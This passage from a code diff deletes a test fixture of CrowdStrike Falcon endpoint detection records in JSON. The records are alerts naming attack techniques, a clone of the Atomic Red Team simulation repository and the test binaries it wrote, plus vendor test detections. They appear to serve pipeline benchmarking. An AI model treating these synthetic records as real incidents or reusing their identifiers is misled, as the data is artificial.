Policy"},"RelatedClassifications":[{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"}],"ResponseAction":"blocked","RuleId":"7d81198e7da846b2a664afccc7f5d9e4","Severity":90,"SeverityName":"Critical","Tactic":"Exfiltration","TacticId":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueId":"T1567","timestamp":"2025-10-31T11:16:38Z","UserName":"Bob","UserNotified":true,"UserSid":"S-1-5-21-2123450692-2512345670-1234574870-1234","UTCTimestamp":1761909398}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-epp-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-epp-detection-summary.log
deleted file mode 100644
index 169b2260ae..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-epp-detection-summary.log
+++ /dev/null
@@ -1,13 +0,0 @@
-{"ProcessStartTime":1718032715,"ProcessEndTime":1718032715,"ProcessId":43009301133,"ParentProcessId":25841449898,"Hostname":"DESKTOP1111","UserName":"USER11111","Name":"NGAV","Description":"This file is classified as Adware/PUP based on its SHA256 hash.","Severity":30,"SeverityName":"Low","FileName":"rfusclient.exe","FilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","CommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe\" /rsession","SHA256String":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","MD5String":"848a53dc549be0386e5da0f49700c389","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"OVAC","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","IOCType":"hash_sha256","IOCValue":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"81.2.69.144","MACAddress":"01-23-45-67-89-ab","Tactic":"Malware","Technique":"PUP","Objective":"Falcon Detection Method","PatternDispositionDescription":"Prevention, process was blocked from execution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"rutserv.exe","ParentCommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe\"","GrandParentImageFileName":"services.exe","GrandParentCommandLine":"C:\\Windows\\system32\\services.exe","HostGroups":"ba7f8041fd6c47dcae4cff3194861088,c8d1292a8a904216aa25ab728f4b45fd","AssociatedFile":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","PatternId":5728,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume2\\Windows\\System32\\services.exe","LocalIPv6":""}
-{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"},{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":""}
-{"Hostname":"FRHOSTNAME","Name":"OnDemandScanfiletest","Severity":70,"FileName":"testfile.vmx","FilePath":"D:\\RECYCLER\\testpath\\testfile.vmx","SHA256String":"774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections","AgentId":"1122025ec596478d830520000000000","CompositeId":"7da61e27e34f4b8394081896af72e2c7","LocalIP":"81.2.69.144","MACAddress":"88-44-66-77-11-22","Tactic":"Machine Learning","Technique":"Sensor-based ML","Objective":"Falcon Detection Method","HostGroups":"2a5927e82d644aa9,be74ccf2c2f444cf900","SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","Type":"ods","LocalIPv6":""}
-{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"},{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":"2a02:cf40::"}
-{"AgentId":"4ebcabee560d4345b025d6c732656ba9","AggregateId":"aggind:4ebcabee560d4345b025d6c732656ba9:1237323","CommandLine":"./whoami.rtf","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048","DataDomains":"Endpoint","Description":"Anexecutablewasrunwithacontradictingfileextension","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"whoami.rtf","FilePath":"/home/devuser/whoami.rtf","GrandParentCommandLine":"sshd:devuser@pts/0","GrandParentImageFileName":"sshd","GrandParentImageFilePath":"/usr/sbin/sshd","Hostname":"navnit-test-instance","LocalIP":"10.128.0.24","LocalIPv6":"","LogonDomain":"","MACAddress":"42-01-0a-80-00-18","MD5String":"3e4129c7bb0c01793aa9ecad38ccb4d0","Name":"SuspiciousActivity","Objective":"KeepAccess","ParentCommandLine":"-bash","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1753351172854337800,"PatternDispositionDescription":"Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":true,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":true,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":272,"PatternId":145,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1753352263,"ProcessId":1753352263802791400,"ProcessStartTime":1753352263,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490","Severity":50,"SeverityName":"Medium","SourceProducts":"FalconInsight","SourceVendors":"CrowdStrike","Tactic":"DefenseEvasion","Technique":"Masquerading","Type":"ldt","UserName":"devuser"}
-{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_informational","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760","DataDomains":"Endpoint","Description":"An informational level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd  crowdstrike_test_medium","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"d53f596e5ea7117ac18aae9f9bd8a481","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_low","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43450917603,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10307,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43455859437,"ProcessStartTime":1752575381,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"}
-{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_low","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776","DataDomains":"Endpoint","Description":"A low level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd  crowdstrike_test_high","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"86920ea0b350c9a3e3752a6aba6e1143","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_medium","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43448891811,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10306,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43450917603,"ProcessStartTime":1752575368,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"}
-{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_medium","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744","DataDomains":"Endpoint","Description":"A medium level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd  crowdstrike_test_critical","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"645b4fecb42fb954858850fe127ceb98","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_high","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43447659975,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10305,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43448891811,"ProcessStartTime":1752575354,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":50,"SeverityName":"Medium","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"}
-{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_high","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824","DataDomains":"Endpoint","Description":"A high level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"099d5a3c2f87817751337a9cf8d6a70b","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_critical","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43444774922,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10304,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43447659975,"ProcessStartTime":1752575345,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":70,"SeverityName":"High","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"}
-{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_critical","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528","DataDomains":"Endpoint","Description":"A critical level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"bd5bfe63bc48507039f7e3afa5b01a70","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10303,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43444774922,"ProcessStartTime":1752575334,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":90,"SeverityName":"Critical","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"}
-{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42950506623","CommandLine":"choice  /m crowdstrike_sample_detection","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448","DataDomains":"Endpoint","Description":"For evaluation only - benign, no action needed.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"choice.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"ce0219f7ab9077db1c089a48eaa82eb1","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10197,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43438097407,"ProcessStartTime":1752575318,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Malware","Technique":"Malicious 